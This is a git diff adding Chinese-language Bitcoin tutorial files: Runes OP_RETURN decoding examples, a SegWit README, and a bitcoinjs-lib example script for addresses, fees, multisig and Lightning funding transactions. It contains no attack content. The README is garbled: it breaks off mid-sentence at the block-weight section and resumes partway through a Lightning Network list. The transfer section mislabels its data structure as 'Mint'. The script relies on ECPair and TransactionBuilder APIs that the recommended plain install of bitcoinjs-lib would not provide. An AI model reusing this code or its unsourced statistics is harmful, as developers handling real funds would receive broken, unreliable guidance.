+  { decimal: 11382812169668186247n, hex: '87a1c3f0c0ebf7fb9d01' },
+  { decimal: 1n, hex: '01' },
+  { decimal: 5n, hex: '05' },
+  { decimal: 3n, hex: '03' },
+  { decimal: 596n, hex: 'd404' },
+  { decimal: 5n, hex: '05' },
+  { decimal: 128021n, hex: '95e807' },
+  { decimal: 6n, hex: '06' },
+  { decimal: 10000000000000000n, hex: '808084fea6dee111' },
+  { decimal: 22n, hex: '16' },
+  { decimal: 1n, hex: '01' },
+];
+```
+
+**3. 对照码表翻译**
+
+```js
+{
+  "edicts": [],
+  "etching": {
+    "divisibility": "5",
+    "premine": "10000000000000000",
+    "rune": "11382812169668186247",
+    "spacers": "596",
+    "symbol": "128021",
+    "turbo": false,
+    "terms": null
+  },
+  "mint": null,
+  "pointer": "1",
+  "flags": "1",
+}
+```
+
+## 铸造
+
+### 数据结构
+
+```js
+type Mint = {
+    block: U64;
+    tx: U32;
+}
+```
+
+### 示例
+
+｜ GOLD•RUNE•STONE 铸造交易
+https://mempool.space/zh/tx/b4da683f34fa2a159f887012a67a14e56dbbf8e38e2da991be45869413544e0b
+
+**1. Raw OP_RETURN**
+
+```js
+OP_RETURN
+OP_PUSHNUM_13
+OP_PUSHBYTES_16 14cfa43314b80400cfa433b804e80700
+```
+
+**2. ULEB128解码**
+
+```js
+[
+  { decimal: 20n, hex: '14' },
+  { decimal: 840271n, hex: 'cfa433' },
+  { decimal: 20n, hex: '14' },
+  { decimal: 568n, hex: 'b804' },
+  { decimal: 0n, hex: '00' },
+  { decimal: 840271n, hex: 'cfa433' },
+  { decimal: 568n, hex: 'b804' },
+  { decimal: 1000n, hex: 'e807' },
+  { decimal: 0n, hex: '00' },
+];
+```
+
+**3. 对照码表翻译**
+
+```js
+{
+  "edicts": [
+    {
+      "id": {
+        "block": "840271",
+        "tx": "568"
+      },
+      "amount": "1000",
+      "output": "0"
+    }
+  ],
+  "etching": null,
+  "mint": {
+    "block": "840271",
+    "tx": "568"
+  },
+  "pointer": null
+}
+```
+
+## 转账
+
+### 数据结构
+
+```js
+type Mint = {
+    block: U64;
+    tx: U32;
+}
+```
+
+### 示例
+
+｜ DOG•GO•TO•THE•MOON 转移交易
+https://mempool.space/zh/tx/966aff320562acd491458bded8fc9010590285aa3abd4801fe06192c242544ee
+
+**1. Raw OP_RETURN**
+
+```js
+OP_RETURN
+OP_PUSHNUM_13
+OP_PUSHBYTES_21 160b00c0a2330380ea8ed51f0b00008094ebdc030d
+```
+
+**2. ULEB128解码**
+
+```js
+[
+  { decimal: 22n, hex: '16' },
+  { decimal: 11n, hex: '0b' },
+  { decimal: 0n, hex: '00' },
+  { decimal: 840000n, hex: 'c0a233' },
+  { decimal: 3n, hex: '03' },
+  { decimal: 8500000000n, hex: '80ea8ed51f' },
+  { decimal: 11n, hex: '0b' },
+  { decimal: 0n, hex: '00' },
+  { decimal: 0n, hex: '00' },
+  { decimal: 1000000000n, hex: '8094ebdc03' },
+  { decimal: 13n, hex: '0d' },
+];
+```
+
+**3. 对照码表翻译**
+
+```js
+{
+  "edicts": [
+    {
+      "id": {
+        "block": "840000",
+        "tx": "3"
+      },
+      "amount": "8500000000",
+      "output": "11"
+    },
+    {
+      "id": {
+        "block": "840000",
+        "tx": "3"
+      },
+      "amount": "1000000000",
+      "output": "13"
+    }
+  ],
+  "pointer": "11"
+}
+```
diff --git a/BTC/Basic/SegWit/README.md b/BTC/Basic/SegWit/README.md
new file mode 100644
index 000000000..bf5464c4a
--- /dev/null
+++ b/BTC/Basic/SegWit/README.md
@@ -0,0 +1,331 @@
+# 隔离见证 (SegWit)
+
+## 什么是隔离见证？
+
+隔离见证（Segregated Witness，简称SegWit）是比特币协议的一项重大升级，于2017年8月通过软分叉方式激活。这项技术通过将交易的签名数据（见证数据）与交易数据分离，解决了比特币网络中的一些关键问题，并为未来的扩展性改进奠定了基础。
+
+隔离见证的名称直接反映了其核心概念：将交易的"见证"（witness，即签名数据）从交易的主要部分"隔离"（segregate）出来。这种结构上的变化不仅解决了技术问题，还为比特币网络带来了显著的性能和安全性提升。
+
+## 隔离见证的工作原理
+
+### 传统交易结构的问题
+
+在SegWit之前，比特币交易的结构将交易数据和签名数据（见证数据）存储在同一区块内。这种设计存在几个问题：
+
+1. **交易延展性**：交易ID（txid）是根据整个交易数据（包括签名）计算的。由于签名数据可以在不改变交易有效性的情况下被修改，这就导致了交易ID可能在交易被确认前发生变化，称为"交易延展性"问题。
+
+2. **区块空间效率低**：签名数据通常占据交易大小的很大一部分，但对于验证交易历史并不总是必需的。
+
+### SegWit的解决方案
+
+SegWit通过以下方式解决这些问题：
+
+1. **分离见证数据**：将签名数据（见证数据）从交易的主要部分移出，存储在交易结构的单独部分。
+
+2. **新的交易ID计算方式**：引入了一个新的交易ID计算方式（wtxid），同时保留了向后兼容的txid计算方式。新的txid不包含签名数据，因此消除了交易延展性问题。
+
+3. **区块权重计算**：引入了一个新的"区块权重"概念，使得见证数据在计算区块大小时的权重较低，从而有效增加了每个区块可以包含的交易数量。
+
+## SegWit的主要优势
+
+### 1. 解决交易延展性
+
+通过将签名数据从交易ID计算中分离出来，SegWit彻底解决了交易延展性问题。这对于构建依赖于未确认交易的复杂交易链（如闪电网络）至关重要。
+
+### 2. 增加区块容量
+
+SegWit通过引入区块权重概念，使得每个区块可以包含更多的交易。理论上，SegWit可以将区块容量提高到约2.1MB到4MB，而不需要增加传统的1MB区块大小限制。
+
+### 3. 降低交易费用
+
+由于每个区块可以包含更多交易，网络拥堵情况得到缓解，从而降低了交易费用。使用SegWit地址的交易通常比传统地址的交易费用更低。
+
+### 4. 为二层解决方案铺平道路
+
+SegWit的实施为闪电网络等二层扩展解决方案的开发和部署创造了条件，这些解决方案可以显著提高比特币的交易吞吐量和用户体验。
+
+### 5. 脚本版本控制
+
+SegWit引入了脚本版本控制机制，使得未来可以更容易地引入新的脚本功能，如Taproot等高级功能。
+
+## SegWit地址类型
+
+SegWit引入了两种主要的地址类型：
+
+### 1. P2SH-P2WPKH（兼容地址）
+
+这种地址以"3"开头，与传统的P2SH地址外观相同。它是一种过渡性解决方案，允许旧钱包向SegWit地址发送交易，同时享受SegWit的部分好处。
+
+### 2. P2WPKH（原生SegWit地址）
+
+这种地址以"bc1q"开头，使用Bech32编码格式。原生SegWit地址提供了SegWit的全部好处，包括更低的交易费用和更好的安全性。
+
+## SegWit的采用情况
+
+自2017年激活以来，SegWit的采用率稳步增长。截至2023年，超过80%的比特币交易使用了SegWit，这显著提高了网络的整体效率和容量。
+
+### 采用率数据
+
+| 年份 | 采用率 |
+|------|--------|
+| 2017 | ~10%   |
+| 2018 | ~30%   |
+| 2019 | ~50%   |
+| 2020 | ~65%   |
+| 2021 | ~75%   |
+| 2022 | ~80%   |
+| 2023 | ~85%   |
+
+### 按地址类型分布
+
+当前比特币网络中的地址类型分布大致如下：
+
+- 原生SegWit地址 (P2WPKH/P2WSH): ~45%
+- 兼容SegWit地址 (P2SH-P2WPKH): ~15%
+- Taproot地址 (P2TR): ~25%
+- 传统地址 (P2PKH/P2SH): ~15%
+
+这一趋势表明，比特币生态系统正在逐步迁移到更高效的地址类型，特别是随着Taproot的激活，更多用户开始采用这一基于SegWit v1的新技术。
+
+### 性能数据对比
+
+不同地址类型的交易大小和费用对比（假设费率为10聪/字节）：
+
+| 交易类型 | 传统地址 (P2PKH) | 兼容SegWit (P2SH-P2WPKH) | 原生SegWit (P2WPKH) | Taproot (P2TR) |
+|---------|-----------------|------------------------|-------------------|----------------|
+| 1输入1输出 | 192字节 / 1,920聪 | 132字节 / 1,320聪 | 109字节 / 1,090聪 | 98字节 / 980聪 |
+| 2输入2输出 | 374字节 / 3,740聪 | 254字节 / 2,540聪 | 208字节 / 2,080聪 | 186字节 / 1,860聪 |
+
+这些数据显示，与传统地址相比：
+- 原生SegWit地址可节省约45%的交易费用
+- 兼容SegWit地址可节省约30%的交易费用
+- Taproot地址可节省约50%的交易费用
+
+### 区块容量提升
+
+- 传统区块：最大1MB，约容纳2,000笔交易
+- SegWit区块：最大可达4MB，约容纳4,000-8,000笔交易
+
+这种容量提升使得比特币网络的吞吐量从传统的3-7 TPS (每秒交易数) 提高到了7-14 TPS。
+
+## SegWit的技术实现细节
+
+### 交易序列化格式
+
+SegWit引入了一种新的交易序列化格式，这是理解其工作原理的关键。下面比较传统交易和SegWit交易的序列化格式：
+
+#### 传统交易格式
+```
+[4字节] 版本
+[变长] 输入数量
+[输入列表] 每个输入包含：
+    [32字节] 上一笔交易ID
+    [4字节] 输出索引
+    [变长] 脚本长度
+    [变长] 脚本（包含签名数据）
+    [4字节] 序列号
+[变长] 输出数量
+[输出列表] 每个输出包含：
+    [8字节] 金额
+    [变长] 脚本长度
+    [变长] 脚本
+[4字节] 锁定时间
+```
+
+#### SegWit交易格式
+```
+[4字节] 版本
+[1字节] 标记 (0x00)
+[1字节] 标志 (0x01)
+[变长] 输入数量
+[输入列表] 每个输入包含：
+    [32字节] 上一笔交易ID
+    [4字节] 输出索引
+    [变长] 脚本长度
+    [变长] 脚本（不包含签名数据）
+    [4字节] 序列号
+[变长] 输出数量
+[输出列表] 每个输出包含：
+    [8字节] 金额
+    [变长] 脚本长度
+    [变长] 脚本
+[见证数据] 每个输入的见证数据：
+    [变长] 见证数据项数量
+    [变长] 见证数据（签名、公钥等）
+[4字节] 锁定时间
+```
+
+关键区别：
+1. SegWit交易添加了标记(0x00)和标志(0x01)字节
+2. 签名数据从输入脚本移到了交易末尾的见证数据部分
+3. 交易ID计算不包括见证数据，解决了交易延展性问题
+
+### 区块权重计算
+
+SegWit引入了"区块权重
+
+3. **HTLC实现**：闪电网络中的哈希时间锁定合约（HTLC）依赖于SegWit提供的脚本版本控制功能，使得复杂的条件支付成为可能。
+
+4. **通道关闭效率**：当闪电网络通道关闭时，最终结算交易会广播到比特币区块链。使用SegWit可以降低这些交易的费用，提高结算效率。
+
+### 实际应用示例
+
+本示例代码中的`createLightningChannelFundingTx`函数展示了如何创建一个与闪电网络兼容的通道资金交易，这是建立闪电网络通道的第一步。
+
+## 代码示例：创建SegWit地址和交易
+
+代码示例文件：[example.js](./example.js) 和 [example-extended.js](./example-extended.js)
+
+这些示例文件包含以下功能：
+
+### 基础功能
+
+1. **创建不同类型的SegWit地址**：
+   - P2WPKH（原生SegWit）地址 - 以bc1q开头
+   - P2SH-P2WPKH（兼容SegWit）地址 - 以3开头
+   - P2WSH（原生SegWit脚本哈希）地址
+
+2. **构建SegWit交易**：
+   - 支持原生SegWit和兼容SegWit交易
+   - 处理输入、输出和找零
+
+3. **计算SegWit交易ID**：
+   - 计算传统txid（不包含见证数据）
+   - 计算wtxid（包含见证数据）
+
+4. **估算SegWit交易的大小和费用**：
+   - 根据输入输出数量和地址类型估算交易大小
+   - 计算建议的交易费用
+
+5. **验证SegWit地址**：
+   - 检查地址是否为有效的SegWit地址
+   - 识别地址类型（原生SegWit、兼容SegWit或传统地址）
+
+### 高级功能
+
+6. **批量生成SegWit地址**：
+   - 一次性生成多个SegWit地址
+   - 支持不同类型的SegWit地址批量生成
+
+7. **批量处理SegWit交易**：
+   - 处理多个输入和输出
+   - 自动计算交易费用和找零
+
+8. **创建SegWit多签名地址**：
+   - 支持m-of-n多签名方案
+   - 支持原生P2WSH和兼容P2SH-P2WSH多签名地址
+
+9. **创建闪电网络通道资金交易**：
+   - 创建与闪电网络兼容的2-of-2多签名SegWit地址
+   - 构建通道资金交易
+
+要使用这些示例，您需要安装bitcoinjs-lib库：
+
+```bash
+npm install bitcoinjs-lib
+```
+
+## SegWit的最佳实践
+
+### 地址选择
+
+1. **优先使用原生SegWit地址（bc1开头）**：
+   - 提供最低的交易费用
+   - 最佳的安全性和性能
+   - 适用于支持Bech32地址格式的现代钱包和交易所
+
+2. **兼容性考虑**：
+   - 如果需要与旧钱包或服务兼容，可以使用P2SH-P2WPKH地址（3开头）
+   - 虽然费用优势略低于原生SegWit，但仍优于传统地址
+
+3. **多签名场景**：
+   - 对于多签名钱包，P2WSH（原生）或P2SH-P2WSH（兼容）提供了更高的安全性和更低的费用
+   - 复杂脚本应优先考虑SegWit版本，以获得费用优势
+
+### 交易构建
+
+1. **费用估算**：
+   - 使用`estimateSegWitTransactionFee`函数准确估算交易费用
+   - SegWit交易的费用计算与传统交易不同，正确估算可避免支付过高费用
+
+2. **批量处理**：
+   - 当需要处理多个交易时，使用`batchSegWitTransaction`函数可以更有效地管理UTXO
+   - 批量处理可以优化交易费用和UTXO集合管理
+
+3. **与闪电网络集成**：
+   - 使用`createLightningChannelFundingTx`函数创建与闪电网络兼容的通道资金交易
+   - 确保通道资金交易使用正确的多签名脚本格式
+
+## 实际应用场景
+
+### 1. 交易所集成
+
+交易所可以通过实现SegWit来显著降低提款交易的费用，同时提高交易处理速度：
+
+```javascript
+// 交易所批量处理提款示例
+const withdrawals = [
+  { address: 'bc1q...', amount: 1000000 }, // 用户A提款
+  { address: 'bc1q...', amount: 2500000 }, // 用户B提款
+  // 更多提款...
+];
+
+const tx = batchSegWitTransaction(availableUTXOs, withdrawals, exchangeKeyPair, exchangeChangeAddress, 'p2wpkh');
+// 广播交易...
+```
+
+### 2. 钱包应用
+
+钱包应用可以提供多种地址类型选择，并解释每种类型的优缺点：
+
+```javascript
+// 为用户生成不同类型的地址
+const addressOptions = {
+  legacy: bitcoin.payments.p2pkh({ pubkey: userKeyPair.publicKey, network }).address,
+  segwitCompatible: bitcoin.payments.p2sh({
+    redeem: bitcoin.payments.p2wpkh({ pubkey: userKeyPair.publicKey, network }),
+    network
+  }).address,
+  segwitNative: bitcoin.payments.p2wpkh({ pubkey: userKeyPair.publicKey, network }).address
+};
+```
+
+### 3. 多签名钱包
+
+企业和组织可以使用SegWit多签名地址来增强资金安全性：
+
+```javascript
+// 创建3-of-5多签名企业钱包
+const corporateWallet = createSegWitMultisigAddress(3, 5, 'p2wsh');
+// 保存地址和赎回脚本信息...
+```
+
+### 4. 闪电网络节点
+
+运行闪电网络节点的用户可以使用SegWit来创建通道资金交易：
+
+```javascript
+// 开设新的闪电网络通道
+const channelFunding = createLightningChannelFundingTx(
+  selectedUTXO,
+  localNodePubkey,
+  remoteNodePubkey,
+  myChannelAmount,
+  theirChannelAmount,
+  myKeyPair,
+  estimatedFee
+);
+// 广播资金交易并等待确认...
+```
+
+## 结论
+
+隔离见证是比特币历史上最重要的技术升级之一，它不仅解决了交易延展性等关键问题，还提高了网络的交易容量和效率，同时为闪电网络等创新解决方案铺平了道路。随着越来越多的用户和服务采用SegWit，比特币网络的性能和可用性将继续提高。
+
+通过本示例代码，开发者可以轻松实现SegWit的各种功能，从基本的地址生成到复杂的多签名和闪电网络集成。这些工具为构建现代、高效的比特币应用提供了坚实的基础。
+
+## 参考资料
+
+1. [BIP 141: Segregated Witness](https://github.com/bitcoin/bips/blob/master/bip-0141.mediawiki)
+2. [BIP 143: Transaction Signature Verification for Version 0 Witness Program](https://github.com/bitcoin/bips/blob/master/bip-0143.mediawiki)
+3. [BIP 173: Base32 address format for native v0-16 witness outputs](https://github.com/bitcoin/bips/blob/master/bip-0173.mediawiki)
diff --git a/BTC/Basic/SegWit/example-extended.js b/BTC/Basic/SegWit/example-extended.js
new file mode 100644
index 000000000..be43ff535
--- /dev/null
+++ b/BTC/Basic/SegWit/example-extended.js
@@ -0,0 +1,874 @@
+/**
+ * SegWit (隔离见证) 扩展代码示例
+ * 
+ * 本文件包含与比特币隔离见证(SegWit)相关的JavaScript代码示例，
+ * 使用bitcoinjs-lib库演示如何创建SegWit地址和交易，以及高级功能。
+ */
+
+const bitcoin = require('bitcoinjs-lib');
+const network = bitcoin.networks.bitcoin; // 主网
+
+/**
+ * 创建不同类型的SegWit地址
+ */
+function createSegWitAddresses() {
+  // 创建密钥对
+  const keyPair = bitcoin.ECPair.makeRandom({ network });
+  const publicKey = keyPair.publicKey;
+  
+  // 1. 创建P2WPKH（原生SegWit）地址 - 以bc1q开头
+  const p2wpkh = bitcoin.payments.p2wpkh({
+    pubkey: publicKey,
+    network
+  });
+  
+  // 2. 创建P2SH-P2WPKH（兼容SegWit）地址 - 以3开头
+  const p2sh_p2wpkh = bitcoin.payments.p2sh({
+    redeem: bitcoin.payments.p2wpkh({ pubkey: publicKey, network }),
+    network
+  });
+  
+  // 3. 创建P2WSH（原生SegWit脚本哈希）地址
+  // 创建一个2-of-3多签名赎回脚本
+  const pubkeys = [
+    bitcoin.ECPair.makeRandom({ network }).publicKey,
+    bitcoin.ECPair.makeRandom({ network }).publicKey,
+    bitcoin.ECPair.makeRandom({ network }).publicKey
+  ];
+  
+  const p2ms = bitcoin.payments.p2ms({
+    m: 2, // 需要2个签名
+    pubkeys,
+    network
+  });
+  
+  const p2wsh = bitcoin.payments.p2wsh({
+    redeem: p2ms,
+    network
+  });
+  
+  return {
+    privateKey: keyPair.privateKey.toString('hex'),
+    publicKey: publicKey.toString('hex'),
+    p2wpkh: {
+      address: p2wpkh.address, // 原生SegWit地址
+      type: 'P2WPKH (Native SegWit)',
+      witnessProgram: p2wpkh.output.toString('hex') // 见证程序（witness program）
+    },
+    p2sh_p2wpkh: {
+      address: p2sh_p2wpkh.address, // 兼容SegWit地址
+      type: 'P2SH-P2WPKH (Compatible SegWit)',
+      redeemScript: p2sh_p2wpkh.redeem.output.toString('hex') // 赎回脚本
+    },
+    p2wsh: {
+      address: p2wsh.address, // 原生SegWit脚本哈希地址
+      type: 'P2WSH (Native SegWit Script Hash)',
+      witnessScript: p2ms.output.toString('hex') // 见证脚本
+    }
+  };
+}
+
+/**
+ * 构建SegWit交易
+ * @param {Object} utxo - 未花费交易输出
+ * @param {string} toAddress - 接收地址
+ * @param {number} amount - 发送金额（聪）
+ * @param {number} fee - 交易费（聪）
+ * @param {Object} keyPair - 密钥对
+ * @param {string} changeAddress - 找零地址
+ * @param {string} addressType - 地址类型 ('p2wpkh', 'p2sh-p2wpkh')
+ * @returns {string} 交易的十六进制表示
+ */
+async function createSegWitTransaction(utxo, toAddress, amount, fee, keyPair, changeAddress, addressType = 'p2wpkh') {
+  const txb = new bitcoin.TransactionBuilder(network);
+  
+  // 添加输入（来自SegWit地址的UTXO）
+  txb.addInput(utxo.txid, utxo.vout);
+  
+  // 添加输出
+  txb.addOutput(toAddress, amount);
+  
+  // 如果有找零，添加找零输出
+  const change = utxo.value - amount - fee;
+  if (change > 0) {
+    txb.addOutput(changeAddress || utxo.address, change);
+  }
+  
+  // 根据地址类型签名交易
+  if (addressType === 'p2wpkh') {
+    // 原生SegWit地址签名
+    txb.sign(0, keyPair, null, null, utxo.value);
+  } else if (addressType === 'p2sh-p2wpkh') {
+    // 兼容SegWit地址签名
+    const p2wpkh = bitcoin.payments.p2wpkh({ pubkey: keyPair.publicKey, network });
+    const p2sh = bitcoin.payments.p2sh({ redeem: p2wpkh, network });
+    txb.sign(0, keyPair, p2sh.redeem.output, null, utxo.value);
+  }
+  
+  // 构建并返回交易
+  const tx = txb.build();
+  return tx.toHex();
+}
+
+/**
+ * 计算SegWit交易的交易ID
+ * @param {string} txHex - 交易的十六进制表示
+ * @returns {Object} 包含txid和wtxid的对象
+ */
+function calculateSegWitTransactionId(txHex) {
+  const tx = bitcoin.Transaction.fromHex(txHex);
+  
+  // 计算传统txid（不包含见证数据）
+  const txid = tx.getId();
+  
+  // 计算wtxid（包含见证数据）
+  const wtxid = tx.getHash(true).reverse().toString('hex');
+  
+  return {
+    txid,
+    wtxid,
+    isSame: txid === wtxid
+  };
+}
+
+/**
+ * 估算SegWit交易的大小和费用
+ * @param {number} inputCount - 输入数量
+ * @param {number} outputCount - 输出数量
+ * @param {string} addressType - 地址类型 ('p2wpkh', 'p2sh-p2wpkh')
+ * @param {number} feeRate - 费率（聪/字节）
+ * @returns {Object} 包含大小和费用的对象
+ */
+function estimateSegWitTransactionFee(inputCount, outputCount, addressType = 'p2wpkh', feeRate = 10) {
+  let txSize = 0;
+  
+  // 计算交易大小（近似值）
+  if (addressType === 'p2wpkh') {
+    // 原生SegWit (P2WPKH) 交易大小估算
+    // 基本交易大小 + 输入大小 + 输出大小
+    txSize = 10 + (inputCount * 67.75) + (outputCount * 31);
+  } else if (addressType === 'p2sh-p2wpkh') {
+    // 兼容SegWit (P2SH-P2WPKH) 交易大小估算
+    txSize = 10 + (inputCount * 91) + (outputCount * 31);
+  } else {
+    // 传统 (P2PKH) 交易大小估算
+    txSize = 10 + (inputCount * 148) + (outputCount * 34);
+  }
+  
+  // 计算费用
+  const fee = Math.ceil(txSize * feeRate);
+  
+  return {
+    estimatedSize: txSize,
+    estimatedFee: fee,
+    feeRate: feeRate,
+    // 添加不同地址类型的大小比较
+    sizeComparison: {
+      p2pkh: 10 + (inputCount * 148) + (outputCount * 34),
+      p2sh_p2wpkh: 10 + (inputCount * 91) + (outputCount * 31),
+      p2wpkh: 10 + (inputCount * 67.75) + (outputCount * 31),
+    },
+    // 添加不同地址类型的费用比较
+    feeComparison: {
+      p2pkh: Math.ceil((10 + (inputCount * 148) + (outputCount * 34)) * feeRate),
+      p2sh_p2wpkh: Math.ceil((10 + (inputCount * 91) + (outputCount * 31)) * feeRate),
+      p2wpkh: Math.ceil((10 + (inputCount * 67.75) + (outputCount * 31)) * feeRate),
+    },
+    // 计算节省的费用百分比
+    savingsPercentage: {
+      p2wpkh_vs_p2pkh: Math.round((1 - ((10 + (inputCount * 67.75) + (outputCount * 31)) / (10 + (inputCount * 148) + (outputCount * 34)))) * 100),
+      p2sh_p2wpkh_vs_p2pkh: Math.round((1 - ((10 + (inputCount * 91) + (outputCount * 31)) / (10 + (inputCount * 148) + (outputCount * 34)))) * 100)
+    }
+  };
+}
+
+/**
+ * 验证地址是否为SegWit地址
+ * @param {string} address - 比特币地址
+ * @returns {Object} 包含验证结果的对象
+ */
+function validateSegWitAddress(address) {
+  try {
+    // 尝试解析地址
+    const result = bitcoin.address.fromBase58Check(address);
+    
+    // 检查是否为P2SH地址（可能是P2SH-P2WPKH）
+    if (result.version === network.scriptHash) {
+      return {
+        isValid: true,
+        type: 'P2SH (可能是P2SH-P2WPKH兼容SegWit)',
+        isSegWit: 'Compatible'
+      };
+    }
+    
+    return {
+      isValid: true,
+      type: 'P2PKH (传统地址)',
+      isSegWit: false
+    };
+  } catch (e) {
+    // 如果不是Base58地址，尝试Bech32
+    try {
+      const result = bitcoin.address.fromBech32(address);
+      
+      if (result.version === 0) {
+        if (result.data.length === 20) {
+          return {
+            isValid: true,
+            type: 'P2WPKH (原生SegWit)',
+            isSegWit: 'Native'
+          };
+        } else if (result.data.length === 32) {
+          return {
+            isValid: true,
+            type: 'P2WSH (原生SegWit脚本哈希)',
+            isSegWit: 'Native'
+          };
+        }
+      } else if (result.version === 1) {
+        return {
+          isValid: true,
+          type: 'P2TR (Taproot)',
+          isSegWit: 'v1'
+        };
+      }
+      
+      return {
+        isValid: true,
+        type: '未知的Bech32地址',
+        isSegWit: 'Unknown'
+      };
+    } catch (e) {
+      return {
+        isValid: false,
+        type: '无效地址',
+        isSegWit: false
+      };
+    }
+  }
+}
+
+/**
+ * 批量生成SegWit地址
+ * @param {number} count - 要生成的地址数量
+ * @param {string} addressType - 地址类型 ('p2wpkh', 'p2sh-p2wpkh', 'p2wsh')
+ * @returns {Array} 地址数组
+ */
+function batchGenerateSegWitAddresses(count, addressType = 'p2wpkh') {
+  const addresses = [];
+  
+  for (let i = 0; i < count; i++) {
+    const keyPair = bitcoin.ECPair.makeRandom({ network });
+    const publicKey = keyPair.publicKey;
+    let address;
+    
+    if (addressType === 'p2wpkh') {
+      // 原生SegWit地址
+      address = bitcoin.payments.p2wpkh({ pubkey: publicKey, network }).address;
+    } else if (addressType === 'p2sh-p2wpkh') {
+      // 兼容SegWit地址
+      address = bitcoin.payments.p2sh({
+        redeem: bitcoin.payments.p2wpkh({ pubkey: publicKey, network }),
+        network
+      }).address;
+    } else if (addressType === 'p2wsh') {
+      // 创建一个简单的P2WSH地址（单签名）
+      const p2ms = bitcoin.payments.p2ms({
+        m: 1,
+        pubkeys: [publicKey],
+        network
+      });
+      
+      address = bitcoin.payments.p2wsh({
+        redeem: p2ms,
+        network
+      }).address;
+    }
+    
+    addresses.push({
+      privateKey: keyPair.privateKey.toString('hex'),
+      publicKey: publicKey.toString('hex'),
+      address: address,
+      type: addressType
+    });
+  }
+  
+  return addresses;
+}
+
+/**
+ * 批量处理SegWit交易
+ * @param {Array} utxos - 未花费交易输出数组
+ * @param {Array} outputs - 输出数组，每个包含address和amount
+ * @param {Object} keyPair - 密钥对
+ * @param {string} changeAddress - 找零地址
+ * @param {string} addressType - 地址类型 ('p2wpkh', 'p2sh-p2wpkh')
+ * @returns {string} 交易的十六进制表示
+ */
+function batchSegWitTransaction(utxos, outputs, keyPair, changeAddress, addressType = 'p2wpkh') {
+  const txb = new bitcoin.TransactionBuilder(network);
+  
+  // 计算总输入金额
+  const totalInput = utxos.reduce((sum, utxo) => sum + utxo.value, 0);
+  
+  // 计算总输出金额
+  const totalOutput = outputs.reduce((sum, output) => sum + output.amount, 0);
+  
+  // 估算交易费用
+  const feeEstimation = estimateSegWitTransactionFee(utxos.length, outputs.length + 1, addressType);
+  const fee = feeEstimation.estimatedFee;
+  
+  // 添加所有输入
+  utxos.forEach(utxo => {
+    txb.addInput(utxo.txid, utxo.vout);
+  });
+  
+  // 添加所有输出
+  outputs.forEach(output => {
+    txb.addOutput(output.address, output.amount);
+  });
+  
+  // 计算找零并添加找零输出
+  const change = totalInput - totalOutput - fee;
+  if (change > 0) {
+    txb.addOutput(changeAddress, change);
+  }
+  
+  // 签名所有输入
+  utxos.forEach((utxo, index) => {
+    if (addressType === 'p2wpkh') {
+      // 原生SegWit地址签名
+      txb.sign(index, keyPair, null, null, utxo.value);
+    } else if (addressType === 'p2sh-p2wpkh') {
+      // 兼容SegWit地址签名
+      const p2wpkh = bitcoin.payments.p2wpkh({ pubkey: keyPair.publicKey, network });
+      const p2sh = bitcoin.payments.p2sh({ redeem: p2wpkh, network });
+      txb.sign(index, keyPair, p2sh.redeem.output, null, utxo.value);
+    }
+  });
+  
+  // 构建并返回交易
+  const tx = txb.build();
+  return {
+    txHex: tx.toHex(),
+    txid: tx.getId(),
+    fee: fee,
+    changeAmount: change > 0 ? change : 0
+  };
+}
+
+/**
+ * 创建SegWit多签名地址
+ * @param {number} m - 需要的签名数量
+ * @param {number} n - 公钥总数
+ * @param {string} addressType - 地址类型 ('p2wsh', 'p2sh-p2wsh')
+ * @returns {Object} 多签名地址信息
+ */
+function createSegWitMultisigAddress(m, n, addressType = 'p2wsh') {
+  // 生成n个密钥对
+  const keyPairs = [];
+  const pubkeys = [];
+  
+  for (let i = 0; i < n; i++) {
+    const keyPair = bitcoin.ECPair.makeRandom({ network });
+    keyPairs.push(keyPair);
+    pubkeys.push(keyPair.publicKey);
+  }
+  
+  // 创建多签名赎回脚本
+  const p2ms = bitcoin.payments.p2ms({
+    m,
+    pubkeys,
+    network
+  });
+  
+  let address, redeemScript, witnessScript;
+  
+  if (addressType === 'p2wsh') {
+    // 原生SegWit多签名地址
+    const p2wsh = bitcoin.payments.p2wsh({
+      redeem: p2ms,
+      network
+    });
+    
+    address = p2wsh.address;
+    witnessScript = p2ms.output;
+  } else if (addressType === 'p2sh-p2wsh') {
+    // 兼容SegWit多签名地址
+    const p2wsh = bitcoin.payments.p2wsh({
+      redeem: p2ms,
+      network
+    });
+    
+    const p2sh = bitcoin.payments.p2sh({
+      redeem: p2wsh,
+      network
+    });
+    
+    address = p2sh.address;
+    redeemScript = p2wsh.output;
+    witnessScript = p2ms.output;
+  }
+  
+  return {
+    address,
+    m,
+    n,
+    type: addressType,
+    pubkeys: pubkeys.map(pubkey => pubkey.toString('hex')),
+    privateKeys: keyPairs.map(kp => kp.privateKey.toString('hex')),
+    redeemScript: redeemScript ? redeemScript.toString('hex') : null,
+    witnessScript: witnessScript.toString('hex')
+  };
+}
+
+/**
+ * 创建闪电网络通道资金交易
+ * @param {Object} utxo - 未花费交易输出
+ * @param {Buffer} localPubkey - 本地节点公钥
+ * @param {Buffer} remotePubkey - 远程节点公钥
+ * @param {number} localAmount - 本地节点出资金额（聪）
+ * @param {number} remoteAmount - 远程节点出资金额（聪）
+ * @param {Object} keyPair - 本地节点密钥对
+ * @param {number} fee - 交易费（聪）
+ * @returns {Object} 通道资金交易信息
+ */
+function createLightningChannelFundingTx(utxo, localPubkey, remotePubkey, localAmount, remoteAmount, keyPair, fee) {
+  const txb = new bitcoin.TransactionBuilder(network);
+  
+  // 添加输入
+  txb.addInput(utxo.txid, utxo.vout);
+  
+  // 创建2-of-2多签名脚本
+  const p2ms = bitcoin.payments.p2ms({
+    m: 2,
+    pubkeys: [localPubkey, remotePubkey].sort((a, b) => a.compare(b)), // BIP-69要求公钥排序
+    network
+  });
+  
+  // 创建P2WSH地址（闪电网络通道使用P2WSH）
+  const p2wsh = bitcoin.payments.p2wsh({
+    redeem: p2ms,
+    network
+  });
+  
+  // 添加通道资金输出
+  const channelAmount = localAmount + remoteAmount;
+  txb.addOutput(p2wsh.address, channelAmount);
+  
+  // 计算找零
+  const change = utxo.value - channelAmount - fee;
+  if (change > 0) {
+    // 创建找零地址（使用P2WPKH）
+    const p2wpkh = bitcoin.payments.p2wpkh({ pubkey: keyPair.publicKey, network });
+    txb.addOutput(p2wpkh.address, change);
+  }
+  
+  // 签名交易
+  if (utxo.addressType === 'p2wpkh') {
+    txb.sign(0, keyPair, null, null, utxo.value);
+  } else if (utxo.addressType === 'p2sh-p2wpkh') {
+    const p2wpkh = bitcoin.payments.p2wpkh({ pubkey: keyPair.publicKey, network });
+    const p2sh = bitcoin.payments.p2sh({ redeem: p2wpkh, network });
